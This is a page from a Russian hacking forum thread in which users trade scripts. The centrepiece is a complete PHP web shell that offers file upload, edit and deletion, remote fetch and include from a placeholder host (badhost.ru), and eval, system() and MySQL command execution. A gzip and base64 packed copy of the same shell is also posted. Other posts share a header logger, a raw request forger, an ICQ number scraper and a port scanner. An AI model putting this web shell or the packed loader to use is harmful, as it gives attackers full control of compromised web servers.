ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #201  
Старый 27.09.2007, 02:38
Аватар для ant0ha
ant0ha
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
Провел на форуме:
306311

Репутация: 119
По умолчанию

Цитата:
Сообщение от canvasa  
2. phpBB version check
Мда, уже чтобы /docs/CHANGELOG.html глянуть нужно настроить и запустить спец скрипт =)
 
Ответить с цитированием

  #202  
Старый 29.09.2007, 13:24
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Вот мой веб шелл
+Маленький размер (12кб)
+Оптимизирован под юзание из инклудов
+Все необходимые функции вебшелла
+Отсутствие графики/стилей (Всего лишнего)
-Работа через GET (Скоро переделаю)
PHP код:
<?php
/*
PHP Mini Remote View Dir (C) I-I()/Ib
Версия: 1.0 pre-realse
*/
$script['pr']=false;//проверка пароля
$script['pa']='EOF';//Пароль
$script['link']=2;//Тип ссылки(1-просто ссылка на скрипт,2-с определением выполняемого скрипта+все переданные парамтеры методом GET)
$script['do_this']="show_dir";//Значение переменой $do_this по дефолту
$script['now_dir']="./";//Значение переменой $now_dir по дефолту
$script['now_file']="index.html";//Значение переменой $now_file по дефолту

@set_magic_quotes_runtime(0);
@
set_time_limit(0);

if(@
get_magic_quotes_gpc())
{
foreach (
$_POST as $k=>$v){$_POST[$k] = stripslashes($v);}
foreach (
$_GET as $k=>$v){$_GET[$k] = stripslashes($v);}
}

if(
$script['pr']){if(@$_GET['key']!=$script['pa'])die();}

if(@
$_GET['do_this']!=null)$do_this=urldecode($_GET['do_this']);
else 
$do_this=$script['do_this'];
if(@
$_GET['now_dir']!=null)$now_dir=urldecode($_GET['now_dir']);
else 
$now_dir=$script['now_dir'];
if(@
$_GET['now_file']!=null)$now_file=urldecode($_GET['now_file']);
else 
$now_file=$script['now_file'];

if((
$script['link']===2))
{
    
$my_link="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?";
    foreach(
$_GET as $index => $val){if(($index!="do_this")&&($index!="now_dir")&&($index!="now_file"))$my_link=$my_link.$index."=".$val."&";}
}
else 
$my_link='';

$our_catalog=getcwd();
chdir($now_dir);

if(
$do_this==="upload_file_s")
{
    if(@
file_exists($now_file))
    {
        
$file=@fopen($now_file,"r");
        @
ob_clean();
        
$filename=@basename($now_file);
        
$filedump=@fread($file,@filesize($now_file));
        
fclose($file);
        
$content_encoding=$mime_type='';
        if (!empty(
$content_encoding)) { header('Content-Encoding: ' $content_encoding); }
        
header("Content-type: ".$mime_type);
        
header("Content-disposition: attachment; filename=\"".$filename."\";");   
        echo 
$filedump;
        exit();
    }
}

echo 
"<font size='-1'><hr>
"
.php_uname()."<br>";
if(
function_exists('apache_get_version'))echo(apache_get_version()."<br>");
else echo
"PHP: ".phpversion()."<br>";
echo
"UID: ".getmyuid()." GID: ".getmygid()." PID: ".getmypid()."<br>
<hr>
Cкрипт находится в: "
.$our_catalog."<br>
Открыт каталог: "
.getcwd()."<br>
<hr>
<a href='"
.$my_link."&now_dir=".$now_dir."'>Просмотр директорий</a><br>
<a href='"
.$my_link."do_this=function_show&now_dir=".$now_dir."'>Работа с каталогами</a><br>
<a href='"
.$my_link."do_this=shell_show&now_dir=".$now_dir."'>Работа с шеллом</a><br>
<a href='"
.$my_link."do_this=mysql_show&now_dir=".$now_dir."'>Работа с MYSQL</a><br>
</font>
<hr> |
<input type='submit' value='Назад' onclick='javascript:history.back(-1)'> |
<input type='submit' value='Вперед' onclick='javascript:history.forward(+1)'> |
<input type='submit' value='Вверх' onclick=\"javascript:document.location.replace('"
.$my_link."do_this=show_dir&now_dir=".urlencode(getcwd()."/..")."')\"> |
<input type='submit' value='Домой' onclick=\"javascript:document.location.replace('"
.$my_link."')\"> |
<hr>
Путь:<input type='text' name='go_to_dir' value='"
.getcwd()."' size='100'>
<input type='submit' value='Перейти' onclick=\"javascript:document.location.replace('"
.$my_link."do_this=show_dir&now_dir='+escape(go_to_dir.value));\">
<hr>"
;

if(
$do_this==="show_dir")
{
    echo 
"<table width=100%>
<tr><td colspan=4 align=center><b>Просмотр содержимого папки <i>"
.getcwd()."</i></b></tr></td>
<tr><td width=35%><b>Имя</b></td><td width=15%><b>Размер</b></td><td width=10%><b>Действие</b></td><td width=20%><b>Изменен</b></td><td width=10%><b>Права</b></td><td width=10%><b>Владелец/Группа</b>"
;
    
$dh=opendir(".");
    while(
$file=readdir($dh)) 
    {
        if(
filetype($file)==="dir")$directories[]=$file;
        else 
$files[]=$file;
    }
    
closedir($dh);
    if(!empty(
$directories))
    {
        
sort($directories);
        foreach(
$directories as $file)
        {
                echo 
"<tr>
<td>[<a title='Open' href='"
.$my_link."now_dir=".urlencode($now_dir."/".$file)."'>".$file."</a>]</td>
<td>DIR</td>
<td>---</td>
<td>"
.date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color="
;
                if(
is_readable($file))echo 'green';
                else echo 
'red';
                echo 
">r</font><font color=";
                if(
is_writeable($file))echo 'green';
                else echo 
'red';
                echo 
">w</font>
</b></td>
<td>"
.@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n"
;
        }
    }
    if(!empty(
$files))
    {
        
sort($files);
        foreach(
$files as $file)
        {
                echo 
"<tr>
<td><a title='Show' href='"
.$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."'>".$file."</a></td>
<td>"
.filesize($file)." байт</td>
<td>
<a title='Upload' href='"
.$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Скачать'>U</a> |
<a title='Modify' href='"
.$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Редактировать'>M</a> |
<a title='Delete' href='"
.$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Удалить'>D</a>
</td>
<td>"
.date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color="
;
                if(
is_readable($file))echo 'green';
                else echo 
'red';
                echo 
">r</font><font color=";
                if(
is_writeable($file))echo 'green';
                else echo 
'red';
                echo 
">w</font>
</b></td>
<td>"
.@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n"
;
        }
    }
    echo 
"</table>";
}

if(
strpos($do_this,"_file_s")){
    echo 
"<center>
<b>Файл "
.$now_file."</b>
<table width=80%>
<tr>
<td><a href='"
.$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Просмотр</a></td>
<td><a href='"
.$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Редактировать</a></td>
<td><a href='"
.$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Удалить</a></td>
<td><a href='"
.$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Загрузить</a></td>
<td><a href='"
.$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Назад</a></td>
</tr>
</table>
</center>"
;
    
    if(
file_exists($now_file)){
        if(
$do_this==="show_file_s"){
            
$open_to_show_file=file($now_file);
            echo 
"<b><center>Просмотр</center></b><pre>";
            for(
$i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
            echo 
"</pre>";
        }
        
        if(
$do_this==="modify_file_s"){
            echo 
"<b><center>Редактирование</center></b>\n";
            if(empty(
$_POST['step'])){
                
$open_to_show_file=file($now_file);
                echo 
"<form action='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."&do_this=modify_file_s' method='post'>
<input type='hidden' name='step' value='1'>
<textarea name=new_text cols='80' rows='20'>"
;
                for(
$i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
                echo 
"</textarea><br>
<input type='submit' value=Править>
</form>"
;
            }else{
                
$new_text=$_POST['new_text'];
                
$file fopen ($now_file,"w");
                
fputs($file$new_text);
                
fclose($file);
                echo 
"Готово, вроде как... <a href='".$my_link."now_dir=".base64_encode($now_dir)."&now_file=".base64_encode($now_file)."&do_this=modify_file'>Назад</a>";
            }
        }
        
        if(
$do_this==="delete_file_s"){
            echo 
"<b><center>Удаление</center></b>\n";
            
unlink($now_file);
            if(
file_exists($now_file))echo "Файл не был удален... Возможно нет доступа";
            else echo 
"Файл удален...";
        }
    }else echo 
"Файл не найден";
}

if(
$do_this==="function_show"){
    echo 
"<hr><b>Создать файл</b><br>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_file' method='post'>
Файл: <input type='text' name='patch_file' value='"
.getcwd()."\\shell.php'><br>
Содержимое:<br>
<textarea name='body_file' cols='80' rows='20'>Вот это будет находится в новом файле... :)</textarea><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Закачать файл с другого сервера</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_download_file' method='post'>
Файл на другом сервере: <input type='text' name='patch_old_file' value='http://www.badhost.ru/new_shell.txt'><br>
Сохранить как: <input type='text' name='patch_new_file' value='"
.getcwd()."\\shell2.php'><br>
<input type='submit' value='ЗАКАЧАТЬ'>
</form>
<hr><b>Создать папку</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='"
.getcwd()."\\new_folder\'><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Удалить папку (только пустую)</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_delete_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='"
.getcwd()."\\del_folder\'><br>
<input type='submit' value='УДАЛИТЬ'>
</form>"
;
}

if(
$do_this==="function_create_file")
{
    
$file=fopen ($_POST['patch_file'],"w");
    
fputs($file$_POST['body_file']);
    
fclose($file);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_download_file"){
    
$patch_open_file=$_POST['patch_old_file']; 
    
$save_file=$_POST['patch_new_file']; 
    
$open_file=file($patch_open_file); 
    
$file_s=fopen($save_file,"w"); 
    foreach(
$open_file as $val)fputs($file_s,$val); 
    
fclose($file_s); 
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_create_dir"){
    
mkdir($_POST['patch_dir'] , 0777);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_delete_dir"){
    
rmdir($_POST['patch_dir']);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if((
$do_this==="mysql_show")||($do_this==="mysql_exec")){
echo 
'<form action="'.$my_link."now_dir=".urlencode($now_dir).'&do_this=mysql_exec" method="post">
Подключаться: <input type="checkbox" name="connect" value="1" checked><br>
<input type="text" name="my_sqlhost" value="'
;
if(!empty(
$_POST['my_sqlhost']))echo $_POST['my_sqlhost'];
echo 
'">:Хост MYSQL<br><input type="text" name="my_database" value="';
if(!empty(
$_POST['my_database']))echo $_POST['my_database'];
echo 
'">:Имя базы<br><input type="text" name="mysql_login" value="';
if(!empty(
$_POST['mysql_login']))echo $_POST['mysql_login'];
echo 
'">:Логин<br><input type="text" name="mysql_password" value="';
if(!empty(
$_POST['mysql_password']))echo $_POST['mysql_password'];
echo 
'">:Пароль<br>Запрос:<br><textarea name="query" cols="30" rows="7">';
if(!empty(
$_POST['query']))echo $_POST['query'];
echo 
'</textarea><br><input type="submit" value="Выполнить"></form><hr>'."\n";
}

if(
$do_this==="mysql_exec")
{
    if((!empty(
$_POST['my_sqlhost']))&&(!empty($_POST['mysql_login']))&&(@$_POST['connect']==='1')){
        
$_POST['query']=urldecode($_POST['query']);
        
$link=mysql_connect($_POST['my_sqlhost'],$_POST['mysql_login'],$_POST['mysql_password']) or die ("Нет соединения с хостом");
        if(!empty(
$_POST['my_database']))mysql_select_db($_POST['my_database']);
    }
    if(!empty(
$_POST['query'])){
        
$result mysql_query($_POST['query']);
        if(empty(
$result))echo(mysql_error());
        else{
            echo 
"<table border=1>";
            while(
$data=mysql_fetch_row($result))echo "<tr><td>".implode("</td><td>"$data)."</td></tr>"."\n";
            echo 
"</table>";
            
mysql_free_result($result);
        }
    }
}

if(
$do_this==="shell_show"){
    echo 
"<hr><b>Заинклудить файл</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_inc' method='post'>
Путь: <input type='text' name='patch_include' value='http://www.badhost.ru/shell.php'><br>
<input type='submit' value='Инклудить'>
</form>

<hr><b>Выполнить пхп код</b> (не пишите &lt;?php и ?&gt;)
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_eval' method='post'>
Код:<br>
<textarea name='eval_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>

<hr><b>Команадная строка</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_system' method='post'>
Код:<br>
<textarea name='system_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>"
;
}

if(
$do_this==="shell_inc"){
    include(
$_POST['patch_include']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if(
$do_this==="shell_eval"){
    eval(
$_POST['eval_code']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if(
$do_this==="shell_system"){
    
system($_POST['system_code']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
echo 
"<hr> <b>PHP Mini Remote View Dir v1.0 pre-realese</b> &copy; <i><b>I-I()/Ib</b></i>";

?>
__________________
Кто я?..
 
Ответить с цитированием

  #203  
Старый 29.09.2007, 13:26
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Ах да... вот еще тот же самый шелл упакован gzip-ом до 4.7 кб
PHP код:
<?php
$script
['pr']=false;
$script['pa']='EOF';
$script['link']=2;
$script['do_this']="show_dir";
$script['now_dir']="./";
$script['now_file']="index.html";
eval(
gzuncompress(base64_decode('eJztWt1v29YVf3aA/A83hGpSiC3ZabcUlqkGaLImQINmSVugiA2BIq8tzhSpklQUL83/FqQBErRo06wb9rIHxpEaxbZoWV62AumanfvFD4n6SOOsfdhDYurec8/53XPP1z3kOQ/7lbq2aeqVz5uOj72K27R9s46VpXzp5IlzZJr8rFhm3fTZ4MkT5oZybnN44WZDV/L5kydunTyx4bhY02tIyVWufHTtY6R5KLellnM38rfYyPXc1jpSkee7ZsOzNK+GPQVmS7dTaz+4MLQUBiasvM2h5TwdJv3rcsOV1/O3CFi2VN7C2/L6KTUm0IDAMLFC17N9cVLDqfg10yPkdtOy8jk+oDZdy8C6Y2BlmJLoBlseRhFtJCiiKaWE2E6rYphuLIQPjAqJKGMhgjYSEtGMCtkwLZyWQkayxTDatBxKnRLEqIQ1xDq3THtLXldV9Qy3hblcfbtCRlWp5vuNlWJRKuQq1y5c/fTC1evyxY8/vlK5CBYhrydGr1y8As8f/gEGpfckEDLHrSJhFKZt4JtILaPcDc2ip6ywsVOqxNUt5efn40GuntFBshUpn49wiocCoypIKiAGIQVpXuJ2xjQjFsgy1UPOaboVXfM1y9lUwT30lqEQNeo1EKuI84o8KLISVZWaDcvRDIqkArCZ4sgZ0hF80/R8T4lOgmh2jlDM5ejBnNtwGtiO5xck2CXR2tw5p1rRLazZCvtN6W2tDmuqmkefEmxjEqNZbwBb0Lmh0IEFisQz/5ykZws2dMvxMCPjLHTH9rHtV7ANxmXam6BSEkP87QZmypqDzSHlFK43/G1lhDyfR7dQDWRjV5HfZ5OLF/jkCpJRAY2uKaHbhC9fJollROYKggOMEDCMw3SG6TUcz/RNx15Bmu+DsdVhvIQija1JwEX8KkhrUgmUjBAi3LBec1CkOSoADs1nWhehiRJJqxsgERFNqvLislxerbnlkyekQqPWqDTpgeQL0mrVLUvMjTeatk5QCSuQtQZgwxUSf29g14MpOZ8nvJXRmYhX5M6EULrbebx42OnvdPpENUSypzXMSlI6uCCfG2ZVYjuRPrl0nlCAtPp20zTIPPogMbbJx64kxhpsjPA5eYLt/P3dfvdggHrB87DdHRy+RDv0uBK+JOi/Hez2XwzQbjAI9sInnCd1sjTHVQ3VXLyhyuTUuStL8yJcwiB/LEhy+WE/PNwPB33U7vY7u4Ow3322WtTKnF0WI+G10bl4Nac1hvt3weNwEKBDgTnY787IHfKaZc3E+sfO3l64PyPb+rb3+WxsL3927Y8fJrgWidlyFaMv4K9pN5o+Yi7tNatQHcgIgmQTfn4TPA3aMnJs3TJ1CI9/0m5oLD+sAAjfcbcLVU3fUhaX8/JUZncPOv3OFG6QHVqaayinZ2IIZv885rcmJRgajt4kbl+wHDA+ON2CixuWpmNlzCkxzSWUCSmVhiSsxMZZLBQk+CPn16Sp6O6F++Gz10MXy6Hu8PBo8NNKSqSPb4JAGtTkTdiKQ8sGgSDpVjIPVMtLS3J5MvCHcEzPBt03pFj5NPZ0rQFaFXgLVC7kINgs26qUlVkFJ5FUeRD2taqFUcs0/JoKm3uLsPDd8qpvIN2xvIZmq+8gzTI3bVUH2BimqnGwOAzbnf4P3f3wSYgOgoPdLlo1y6lwVDTLq8Uq/CNMi76R4M+Evv27twjLB/svOZ2RmFxmk98FT/c7/az5JTp/r/PscLDT7WRQnGEUD4BBr9Mbz+JhP9gJxk/f3Qvanb3Ov4pf9o8ODighLcdyRk0lNQcpbKQCKzZaNUh/rAxQSeFAix6jBslcVCskm8EsMR9eLpATooeTg/+xDs5sYu/6ukpnWRqllRYtPpLjJNfTukNIKbGCSZQUCXZxteQ5rp+eYgWMqC0TM7TEpBAJBV09F9kODYigrusQa33Th/3KH4Ey5IzAmxUY4nhb5BUF8bQyfybGo5XXI6MxyucvXU38WlxcTPySCobmY0UyFuuLn6GLK6a0QJjU6RWO8abmGC2AQ2UVCJi5A7hKbGugOhPufnBsxDHESrphedPFsDlOGBURSHaxEY1SzZRdnibGS2i5po9fR0QrzkTCaoUmaInqtGycKLapjunEpus0G8kJsZa46JrNYN7mppWwJGp6wzbEBtPWQ8dmspvYbK5BdMoym1QcZLeCzByT2M58dE9LEWSbV0pvcWXPidHj4NkgQUKLCo74E3pTmYQ5dZd5TdQQgn1VfrQb/DsY/CSXPyHYaWaL8FyG6n9jexKeOqU4TjzfddrB7qDbD3coqsujqM5jCHN4EiqDUhwnqu/bwV6X4DlP8FDD/n+UeKNRgvt1kRYTNDGKLpLnu3CbjAqRBSm62ucTRQivLIB7tfzX4Nke4rW48NMqBZ2oVN6NCpUokLzJ2BFd9JM3paHwMfm6cQyulwKR8rxXQXIc7pZCwr3tVTAcR2BMYbgfPOkfPZ0RxTHIo/e6pKwis0TuAOSJmzT1E5ZHx3SwREE4UqsLR2G5M0eqTFLxR3PqBi0z000r4VHg6xxBbK6ifieBoOEyP52jeVvJmepSKWeu6k7Thqw+IisPk6dPs+hT8+twL8C6qVl6TXO9DPLrOXM9jacYC6TdqYxNp3xEbHtkOwnD75GCP7EpEZUIY16zsB677Pm4Ia9zXc+uy7moUeXWkUabHMdsSvOZAUJGdezXHEOVIXb6I/fNmmkYpMhm91a6N3H3XKbE5FqrQXJiFDZuVcgIvc+p8rtLMnKdFjydgausSDdv1gjiBMGRiWbK+Gs0uY+BQ/OOi1sXSG+TdCfOUWxNFQctBmhDnpIQJEhFtDGMkp3hliTAbQAGj3d3UcQzmh3p6ortfBkOwp1wAe304RaMdoPdQqGApoQc0mz+/TuVybaSQTTBXhLhSOhokpulEsBYNyNRvTPWwZo22deIv4wPcow/Te29Dnr8Yg8dUQFEY3fDp/vhD70QZgaoHR4Ojg4CLicubdjaaFGi/BimAf694Fm700uWIUkFpPqVUrIMqdHmxqPwaRuSKvoncKOxkpnqLw4CI31SHRyAn8Cop5M9rKCxXaqG5us1vjSjTbW2RvulpFstc+CPRIums8J3kg4PctUxuCFlRoi74QD9ZxCix0ftTqo7jXpg/ftUTR1yjiv5V/Fv+dG39+/d+cs/5NjDWfMKTuB+wO45lDc6RO3+0RPSYWKd+oDXg8d3IAZUwVFFkn0ksHEGY5+j6Ew9JMcy0gfF3/q1Wi3wcKMG3Atus0jiDTs0HzhEh/a8D/kNVABhZaokwmKaSZxJ2sSkc7l/56s7fx9zMMI1SKvv6NiPgfsFbcEOnwHt3U7Tw7jm7doa1RAcCHbXZtHBBNvk5S5TAVIG4d5PuyE6OIKw9XP++C2TBes3oRJg/Soq+f7ena8fpFQyNb4m4pxoOrOmqEjGPGknYtp6lJfTSZlTxqGKVRYjuTmZmGfIxjOeAkkUQ1l24sZT8YRlmByPCaRIYt8QpDYfxYr1EmkS5zztBs6iizyd08X8WAE7JCXPqFiuV/nL8Yg30zVKflQQraTtO/I9QeIcKt4CHWJLEqqveGzst6H9OIww1de3aGs8pUf6dQhaQEtnz579LRlO5O4MulsfA/3XwZy+rkVvUKX8F19kTOGbWGdtHtacSoVFSZ4ZoxwXvTFfEQ0lEg3Je6+HYXt372dSNRy+TEdFSa9hfavq3JRYZJR0x7ax7ks8tEnLEqIk2MiIgxKJqWIlIAYEJHNHi2X2ccKp9IUzJiTXTvZRRMZUSehGKq/8DSpf/rIZQEyCYGi+Rq4I0zEIyiwQ8VwSxYP9l+hx8PTFFAzkHCxn07SnYogoMzAk5pIYvg6fdHszAGhontdyXGMmDIJ4DIx4OonkYdCH/E6g3A8O+uEhraCH6mfp8yZ2tyVWO0tvL0msdpbOSuVsPJR+BAYfjaQP1dIpVbDUHG377ouDcI8Ui1KZp2ZSq8iQ5O1xESfpodE3VpONeH5+yuECwTkxxV2Mfv8mL8u88zK019RXd2ndsK+n6DdlTApnmIltIRPQwtjzR46LDBMjRfoGbjSHYafd7cFd9yXcNJ6DE4b7vDMw1aV4CISgrfsVozqGTLylnWAJTDsu9pqWj1TE+NLZbM3EDS62hn/2xE/VdR1X4d+kxd2S1Pv+KmgCu+qy6BjwV9YENVf4BibJBkw5LYO9vWMvEMx6wyKHJ4lX5mUJSjXCQ7wuoH1RSRhisg8UvSiAQS7QxbjCREUiky8Zssw4/jgo4x5/P+j2dveO2t3EXf44inMm1LT1X1iSw0qraUy7Fo7c4ycV5w/ERlM3lujOEgUIdPD8AO2GbaIKpPQ66KD7Y3fQQfOWX3oPZKEuem9+0y/lj09PGCCOKuqrsD2mG0HoK4RndjciERbJ26Jpiol2nq2Yr8L9oBe0ewH4/qAf7h5ba4Eb5rbn4/qr7J6teLP7H5cTIrtmvsTNdKj6FMabrEDpl3CvVXzGfjxDtRzbFXd6eIpQxubzqyNkZ8kwsuf4fUTimP93OJMyquS7VnTZtE10FdcdH6NPTdxC500X3VguLKGGixfByCzsYRos5nWnsV0iX3fB0kuLl5R88VKVvVI2gf9/ASblWnc=')));
?>
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 29.09.2007 в 13:29..
 
Ответить с цитированием

  #204  
Старый 06.10.2007, 15:08
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Скрипт читающий все HTTP заголовки посылаемые браузером.(правда есть одно "но" он выводит инфу о сервере. но кому надо тот поймёт где что.)
PHP код:
<?php
$r 
fopen('123.txt',"w+"); 
        
$kea=array_keys($_SERVER);
        
$vala=array_values($_SERVER);
        for(
$i=0;$i<count($_SERVER);$i++) fputs($r,$kea[$i]."=".$vala[$i]."\r\n");
    
fclose($r); 
?>
 
Ответить с цитированием

  #205  
Старый 13.10.2007, 21:11
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

PHP код:
<?

#(C) NOmeR1

if($_POST['packets'])
{

    
$site preg_replace('|\s|',NULL,preg_replace('/^.*Host:\s+(.+)\s*(\n|\r\n).*$/isU''\\1'$_POST['packets']."\r\n"));

    function 
answer($site$headers)
    {

        
$fp fsockopen($site80);
        
fwrite($fp$headers."\r\n\r\n");

        
$packets fread($fp2048);
        
$packets preg_replace("/^(.+)(\n|\r\n){2,}.*$/isU""\\1"$packets);

        return 
$packets;

    }

    echo 
'<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">'.$_POST['packets'].'</textarea><br>
    <input type=submit></form></td>
    <td align="right"><textarea style="width:400px;height:200px;">'
.answer($site$_POST['packets']).'</textarea></td></tr></table>';

}

else
{

    echo(
'<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">GET / HTTP/1.0
Host: www.antichat.ru</textarea><br>
    <input type=submit></form></td>'
);
    
}

?>
Скрипт - "поддельщик" запросов. Отсылает поддельные пакеты и читает ответ сервера. Что-то типо InetCrack... Может кому и понадобится.
 
Ответить с цитированием

  #206  
Старый 16.10.2007, 15:14
Аватар для romen
romen
Новичок
Регистрация: 16.10.2007
Сообщений: 3
Провел на форуме:
22612

Репутация: 0
По умолчанию

простой скрипт - собирает с асечки базу номерков, которые на асечке в продаже (а ля в подборе под телефонный номер).

Результат выводит в браузер. Кому надо может и в фалл писать.
С параметрами по умолчанию собирает только шестизнаки.

PHP код:
<?php
    $start 
100000;
    
$end 999999;
    
$current $start;
if (isset(
$_REQUEST['start']))
{
  
$current $_REQUEST['start'];
}
if ((
$current $start) || ($current>$end))
{
  die(
'error in paramethers');
}
    while (
$current<=$end)
{
    
$page file_get_contents("http://online.asechka.ru/check-more?uin=".$current);
    
$is_popal preg_match_all('/'.$current.'/s'$page$tmpp);
    if (
$is_popal >2)
    {
        echo 
$current."<br>"
    }
    else
    {
        
preg_match_all('|<td>([0-9]+)<.td>|Uis',$page,$out,PREG_PATTERN_ORDER); 
        foreach(
$out[1] as $anchor
        { 
            echo 
$anchor."<br>"
            
$current $anchor
        } 
    }
    
$current $current 1;
}
?>
 
Ответить с цитированием

  #207  
Старый 17.10.2007, 14:05
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Сканер портов бай ми. Тренируюсь(:
PHP код:
#!/usr/bin/perl
use warnings;
use 
strict;
use 
IO::Socket;

print 
"Enter IP adress: ";
my $ip_addr = <STDIN>;

print 
"Enter Port's Range: ";
my $al = <STDIN>;

print 
"Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;

my ($from$to) = split(/-/,$al);

open (RS,">results.txt");

chomp($ip_addr,$from,$PRT);

print 
"\n[~] Scaning in procces..\n";

while (
$from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRTPeerPort => $fromPeerAddr => $ip_addrtimeout => 10);
    
    if (!
$sock)
    {
        print 
RS $ip_addr,":",$from"- Closing\n";
        
$from++;
    }
    
    else
    {
        print 
RS $ip_addr,":",$from"- Opened!\n";
        
$from++;
    }
}

print 
"[!] Scaning over!\n";
close RS
Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.
__________________
..
 
Ответить с цитированием

  #208  
Старый 17.10.2007, 17:21
Аватар для Sharky
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

Цитата:
Сообщение от [sL1p]  
Сканер портов бай ми. Тренируюсь(:
PHP код:
#!/usr/bin/perl
use warnings;
use 
strict;
use 
IO::Socket;

print 
"Enter IP adress: ";
my $ip_addr = <STDIN>;

print 
"Enter Port's Range: ";
my $al = <STDIN>;

print 
"Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;

my ($from$to) = split(/-/,$al);

open (RS,">results.txt");

chomp($ip_addr,$from,$PRT);

print 
"\n[~] Scaning in procces..\n";

while (
$from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRTPeerPort => $fromPeerAddr => $ip_addrtimeout => 10);
    
    if (!
$sock)
    {
        print 
RS $ip_addr,":",$from"- Closing\n";
        
$from++;
    }
    
    else
    {
        print 
RS $ip_addr,":",$from"- Opened!\n";
        
$from++;
    }
}

print 
"[!] Scaning over!\n";
close RS
Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.
а можно наоборот чтоб диапазон ипов на открытие одно порта сканило
 
Ответить с цитированием

  #209  
Старый 17.10.2007, 17:25
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Можно и так, переделать там недолго.
__________________
..
 
Ответить с цитированием

  #210  
Старый 17.10.2007, 17:50
Аватар для Sharky
Sharky
Познавший АНТИЧАТ
